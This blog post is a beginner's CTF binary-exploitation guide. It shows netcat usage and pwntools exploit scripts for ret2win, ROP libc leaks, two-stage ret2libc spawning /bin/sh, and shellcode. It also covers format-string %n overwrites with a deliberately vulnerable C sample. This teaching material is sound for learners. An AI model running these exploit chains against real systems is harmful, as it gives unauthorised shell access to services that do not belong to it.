Contents

Summary
1. Netcat (nc) Basics
2. Pwntools (Practical Mini Guide)
2.1 Install & Basic Setup
2.2 Sending & Receiving
2.3 Finding Overflow Offsets (cyclic)
2.4 Packing & Unpacking
2.5 Working with the ELF
2.6 Simple ret2win Payload
2.7 ROP Basics
2.8 Using a Leaked Address (Libc Base)
2.9 Shellcode (shellcraft)
2.10 Attaching a Debugger
2.11 Logging & Verbosity
2.12 Common Pitfalls
2.13 Quick Pattern (Two-Stage ret2libc)
3. ret2libc (Return-to-libc)
4. Format Strings (printf-style) – From Output to Code Execution
4. x86 (32-bit) cdecl Calling Convention
5. x86‑64 System V ABI (Linux)
6. Integer Overflows
7. Putting It Together – A Micro Workflow
8. Quick Reference Tables
9. Suggested Next Steps

Pwn Beginner Tips & Tricks

Author
September 8, 202511 minute read
…
Back to blog
Table of Contents
Summary
1. Netcat (nc) Basics
2. Pwntools (Practical Mini Guide)
2.1 Install & Basic Setup
2.2 Sending & Receiving
2.3 Finding Overflow Offsets (cyclic)
2.4 Packing & Unpacking
2.5 Working with the ELF
2.6 Simple ret2win Payload
2.7 ROP Basics
2.8 Using a Leaked Address (Libc Base)
2.9 Shellcode (shellcraft)
2.10 Attaching a Debugger
2.11 Logging & Verbosity
2.12 Common Pitfalls
2.13 Quick Pattern (Two-Stage ret2libc)
3. ret2libc (Return-to-libc)
4. Format Strings (printf-style) – From Output to Code Execution
4. x86 (32-bit) cdecl Calling Convention
5. x86‑64 System V ABI (Linux)
6. Integer Overflows
7. Putting It Together – A Micro Workflow
8. Quick Reference Tables
9. Suggested Next Steps

#-Summary

Short, focused tips for absolute beginners: connect with netcat, automate with pwntools, abuse format strings, understand basic calling conventions (x86 / x86-64), and spot simple integer overflows.


#-1. Netcat (nc) Basics

Netcat lets you quickly talk to a remote service over a port. You type; it sends. Whatever the server replies shows up in your terminal.

Most common things you need at the start:

  • Connect to a service: nc host port
  • Verbose (show connection status/errors): nc -v host port
  • Listen locally (wait for something to connect): nc -l 4444

Simple connection example:

$ nc challenge.ctf 31337
Welcome to warmup!
Enter your name:
Alice
Hello Alice :)

Explanation:

  • $ nc challenge.ctf 31337 – Connect to host challenge.ctf on TCP port 31337.
  • Welcome to warmup! – Server banner (often leaks hints/version info).
  • Enter your name: – Server is waiting for you to type then press Enter.
  • Alice – You type this and hit Enter; nc sends it.
  • Hello Alice :) – Server echoes a response (confirms interactive protocol).

If it just “hangs”, the service is probably waiting for your input—try typing something then pressing Enter.

Sending a quick HTTP request (optional pattern you’ll see often):

printf 'GET / HTTP/1.0\r\n\r\n' | nc example.com 80

That’s enough for now—learn the extra flags later once you’re comfortable.

#-2. Pwntools (Practical Mini Guide)

Pwntools is a Python toolkit that makes interacting with binaries, crafting payloads, and automating exploits much faster.

##-2.1 Install & Basic Setup

pip install pwntools

Starter skeleton (toggle local vs remote with a flag):

from pwn import *              # Import pwntools helpers (ELF, ROP, packing, tubes)

context.binary = elf = ELF('./vuln')  # Parse binary, set arch/context (elf.arch, elf.bits)
context.log_level = 'info'            # Use 'debug' to see every byte sent/received

def start():
    # Run locally by default; use: python exploit.py REMOTE for remote
    if args.REMOTE:
        return remote('challenge.ctf', 31337)  # Connect to challenge host:port
    return process(elf.path)                   # Spawn local process ./vuln

io = start()  # Tube object used for send/recv operations

##-2.2 Sending & Receiving

io.recvuntil(b'Name: ')      # Wait until the program prints the prompt
io.sendline(b'Alice')        # Send 'Alice' plus newline
line = io.recvline()         # Read one line of response
log.info(line)               # Log the response for visibility

Useful helpers: send, sendline, recv, recvline, recvuntil, interactive.

##-2.3 Finding Overflow Offsets (cyclic)

from pwn import *
pattern = cyclic(120)          # Generate unique pattern
print(pattern)
# Crash program feeding pattern, note overwritten RIP/EIP value (e.g. 0x6161616c)
offset = cyclic_find(0x6161616c)  # Convert observed value to offset
print(offset)

Explanation:

  • cyclic(120) – Create a non-repeating pattern; each 4/8-byte subsequence is unique.
  • Run vuln program with this pattern to crash.
  • Inspect crash register (EIP/RIP) value (0x6161616c example) via debugger/core.
  • cyclic_find(value) – Map that value back to exact offset where overwrite begins.
  • Result (offset) used as padding length in exploit payload.

##-2.4 Packing & Unpacking

  • p64(0xdeadbeef) -> b'\xef\xbe\xad\xde\x00\x00\x00\x00'
  • u64(data.ljust(8, b'\0')) -> int Use these instead of manual struct.pack.

##-2.5 Working with the ELF

elf = context.binary
log.info(f"win @ {hex(elf.symbols['win'])}")
log.info(f"puts@GOT = {hex(elf.got['puts'])}")
log.info(f"puts@PLT = {hex(elf.plt['puts'])}")

This lets you build relocatable payloads even if addresses shift (PIE + base leak).

##-2.6 Simple ret2win Payload

offset = 40
payload = flat(
    b'A'*offset,
    elf.symbols['win']
)
io.sendlineafter(b'Name:', payload)
io.interactive()

Explanation:

  • offset = 40 – Distance from buffer start to saved return pointer (found via cyclic).
  • b'A'*offset – Padding to reach saved RIP/EIP.
  • elf.symbols['win'] – Address of target function to hijack control flow.
  • flat() – Concatenate and handle packing if integers present.
  • sendlineafter() – Wait for prompt Name: then send payload (avoids race conditions).
  • interactive() – Hand keyboard over once shell/function runs.

##-2.7 ROP Basics

Let pwntools find gadgets:

rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
payload = flat(
    b'A'*offset,
    pop_rdi,
    elf.got['puts'],       # arg1 in RDI
    elf.plt['puts'],       # call puts(GOT)
    elf.symbols['main']    # return to main for second stage
)
io.sendline(payload)
leaked = u64(io.recvline().strip().ljust(8,b'\0'))
log.success(f"puts leak: {hex(leaked)}")

Explanation:

  • ROP(elf) – Parse binary, index gadgets.
  • find_gadget(['pop rdi','ret']) – Find sequence to control RDI (first 64‑bit arg).
  • b'A'*offset – Fill buffer up to return address.
  • pop_rdi – Gadget; next stack value copied into RDI.
  • elf.got['puts'] – Address placed into RDI (argument to puts) -> leaks real libc address.
  • elf.plt['puts'] – Call stub that jumps into libc puts.
  • elf.symbols['main'] – Loop back for second stage (now we know libc base).
  • recvline() – Read leaked pointer line.
  • u64(...ljust(8,'\0')) – Pad to 8 bytes then unpack to integer.

##-2.8 Using a Leaked Address (Libc Base)

libc = ELF('libc.so.6')
libc_base = leaked - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh  = libc_base + next(libc.search(b'/bin/sh'))
payload = flat(
    b'A'*offset,
    pop_rdi,
    binsh,
    system
)
io.sendline(payload)
io.interactive()

Explanation:

  • ELF('libc.so.6') – Load matching libc (must be correct version).
  • libc_base – Real runtime base = leaked puts – static offset of puts.
  • system – Compute absolute address of system().
  • binsh – Locate '/bin/sh' string inside libc.
  • pop_rdi – Set RDI to point to '/bin/sh'.
  • system – Execute shell.
  • Second interactive() – Use the shell.

##-2.9 Shellcode (shellcraft)

from pwn import *
context.arch = 'amd64'
sc = shellcraft.sh()
raw = asm(sc)
log.info(f"shellcode length = {len(raw)}")

Explanation:

  • context.arch = 'amd64' – Ensure right instruction set for assembler.
  • shellcraft.sh() – Template assembly for spawning /bin/sh.
  • asm(sc) – Assemble to raw bytes.
  • Show length to verify it fits in available buffer space. Inject raw into a RWX region or use a stack pivot if NX is off.

##-2.10 Attaching a Debugger

gdb.attach(io, gdbscript='''
break *main
continue
''')

Explanation:

  • gdb.attach – Launch GDB and attach to running local process.
  • break *main – Set breakpoint at function entry (absolute address).
  • continue – Let program run until breakpoint hit (then you inspect state). Run script with python exploit.py (not REMOTE) to pause in GDB.

##-2.11 Logging & Verbosity

  • context.log_level = 'debug' to see raw traffic.
  • log.info / log.success / log.failure for clarity.

##-2.12 Common Pitfalls

  • Forgetting to pad u64 inputs to 8 bytes before unpacking.
  • Wrong offset because binary was recompiled (re-run cyclic).
  • Mismatched libc (use provided one from challenge server).
  • Alignment issues (add an extra ret gadget on some 64‑bit chains).

##-2.13 Quick Pattern (Two-Stage ret2libc)

  1. Leak: call puts on GOT entry, return to main.
  2. Calculate libc base.
  3. Call system('/bin/sh').

That’s the most repeated exploitation pattern in beginner pwn.

Summary: Pwntools reduces friction—focus on logic, not boilerplate.

#-3. ret2libc (Return-to-libc)

If the binary does not have a win or similar function to call, you can still get code execution using a technique called ret2libc:

  • When to use:

    • No custom win/exec function is present.
    • You can control RIP/EIP (buffer overflow) and leak a libc address (e.g., puts@GOT).
  • How it works:

    1. Leak a libc address (like puts or printf) using a ROP chain.
    2. Calculate the base address of libc at runtime: leaked_addr - libc.symbols['puts'].
    3. Compute the real addresses of system and the string '/bin/sh' inside libc.
    4. Build a second payload to call system('/bin/sh') using those addresses.
  • Important: Always use the libc and linker provided by the challenge (download from server if available). Offsets and addresses can change between versions!

This is the standard approach for most CTF pwn challenges when you need a shell but the binary only calls standard library functions.

#-4. Format Strings (printf-style) – From Output to Code Execution

If user‑controlled data becomes the format string (first argument) to printf, fprintf, snprintf, etc., you can:

  1. Leak stack values: %p %p %p or %08x sequences.
  2. Read arbitrary memory with %s (pointer from stack).
  3. Write arbitrary values using %n, %hn, %hhn.

Vulnerable sample:

#include <stdio.h>
int main(){
    char buf[128];
    fgets(buf, sizeof buf, stdin);
    printf(buf); // BUG: should be printf("%s", buf);
}

Line-by-line:

  1. Include stdio for I/O functions.
  2. char buf[128]; – Stack buffer (user controlled content stored here).
  3. fgets – Reads a line (bounded) into buffer (safer than gets) but DOES NOT fix format misuse.
  4. printf(buf); – Interprets user content as a format string (vulnerability).
  5. Attacker can inject %p / %n etc. instead of plain text.

Basic leak (manual):

%p %p %p %p %p

Finding an offset for an address placed in input:

AAAA.%p.%p.%p.%p.%p.%p

When one %p prints 0x41414141, you know the position.

Using %n to overwrite (conceptual):

  1. Place target address on stack.
  2. Print controlled width to set byte count.
  3. Use %n to write that count to the pointed location.

Pwntools snippet for partial overwrite (example):

from pwn import *
io = process('./fmt')
target = 0x404050
payload  = p64(target)
payload += b'%10c%7$hhn'  # print 10 chars, then write 0x0a to *target
io.sendline(payload)

Mitigations: FORTIFY, PIE, ASLR, RELRO, stack canaries, but format bugs often still yield leaks first (defeating ASLR), then writes.

Quick methodology:

  • Confirm: does %x echo raw values?
  • Find offset: identify where controlled bytes sit.
  • Leak libc/GOT addresses.
  • Compute base -> craft overwrite (e.g., GOT -> system).

#-4. x86 (32-bit) cdecl Calling Convention

Classic Linux 32‑bit userland uses cdecl:

  • Args pushed right-to-left onto the stack.
  • Caller does stack cleanup (add $0x10, %esp after 4 args).
  • Return address on stack above args.
  • Return value in EAX.
  • Callee may use a frame: push ebp; mov ebp, esp; ... ; leave; ret.

Stack (high -> low addresses):

argN ... arg2 arg1 | RET | saved EBP | locals ...

Why relevant: buffer overflows overwrite saved EIP (return address) after filling locals + saved EBP.

Other 32‑bit variants: stdcall (callee cleans), fastcall (some regs), thiscall (C++). For most CTF 32‑bit binaries: assume cdecl unless told otherwise.

#-5. x86‑64 System V ABI (Linux)

When you move to 64‑bit, major differences reduce stack argument traffic (performance):

  • Integer / pointer arg order: RDI, RSI, RDX, RCX, R8, R9, then stack (right->left beyond 6).
  • Return: RAX (and RDX for some 128‑bit cases).
  • Stack must be 16‑byte aligned at call boundary.
  • Red zone: 128 bytes below RSP (not clobbered by interrupts) – sometimes used by compilers, but don’t rely on it in hand‑written shellcode.
  • Caller-saved (must assume clobbered): RAX, RCX, RDX, RSI, RDI, R8–R11.
  • Callee-saved: RBX, RBP, R12–R15, RSP.

Understanding this helps when building ROP chains: you must place argument values in registers (with gadgets like pop rdi; ret) before calling functions like system.

Minimal 64‑bit ret2win payload layout (conceptual):

[padding][POP RDI; RET][pointer_to_string][system]

Alignment tip: If a syscall or libc function crashes with SIGSEGV on ret, you may need a single ret gadget to fix alignment (especially after pop chains in PIE builds compiled with certain mitigations).

#-6. Integer Overflows

Happens when a calculation goes past the max/min a type can hold and the value “wraps”.

Short signed 32‑bit example (wraps into a negative):

#include <stdio.h>
int main() {
    int a = 2147483640;   // Close to INT_MAX (2147483647)
    int b = 100;          // Pushes sum past INT_MAX
    int c = a + b;        // Typical two's complement wrap -> negative
    printf("a=%d b=%d c=%d\n", a, b, c);
}

Typical output on common platforms:

a=2147483640 b=100 c=-2147483556

Why: result exceeds INT_MAX, bits wrap (signed overflow is technically undefined in C, but most targets use two's complement so you see this wrap). Bugs arise when code trusts c to be positive.

Common bug patterns (keep an eye on these):

  • len + header_size overflows -> small number -> passes bounds check.
  • count * element_size wraps -> too-small allocation then big copy.
  • Signed vs unsigned comparison hides negative turned large unsigned.

Quick check mindset: any arithmetic on user-controlled integers? Try max-ish inputs.

#-7. Putting It Together – A Micro Workflow

  1. file, pwn checksec, run binary.
  2. Fuzz input length (cyclic patterns) -> find crash offset.
  3. Identify primitive: overflow? format? use‑after‑free?
  4. Leak addresses (fmt %p, GOT via ROP, info banners via nc).
  5. Compute base addresses (ELF / libc / stack).
  6. Build final chain (ret2win, ret2libc, ROP, shellcode).
  7. Automate in pwntools; keep it idempotent.

Mindset: first get any control (PC / write primitive), then reliability, then cleanup.

#-8. Quick Reference Tables

Registers (x86‑64 key exploitation focus): RSP (stack), RIP (flow), RDI/RSI/RDX/RCX/R8/R9 (args), RAX (ret), RBP (frame).

Format width modifiers for %n writes:

  • %n – 4/8 bytes (full int / long)
  • %hn – 2 bytes (half)
  • %hhn – 1 byte (bytewise precision)

Integer limits (common):

  • uint8_t: 0..255
  • uint32_t: 0..4,294,967,295
  • int32_t: -2,147,483,648..2,147,483,647

#-9. Suggested Next Steps

  • Practice: solve small format string and ret2win challenges.
  • Add GDB: gef / pwndbg for visual stacks & registers.
  • Read disassembly: objdump -d, radare2 -AAA, ghidra.
  • Learn heap internals (ptmalloc/tcache) after basics feel easy.

Happy hacking. Build muscle memory with repetition.


References (consulted, paraphrased – read originals for depth): official man pages, System V AMD64 ABI, common pwntools docs, and standard C references on format specifiers & integer overflows.

Got feedback, questions, or want to connect for other reasons? Don't hesitate to contact me.

Previous
cJSON Array Index Parsing Vulnerability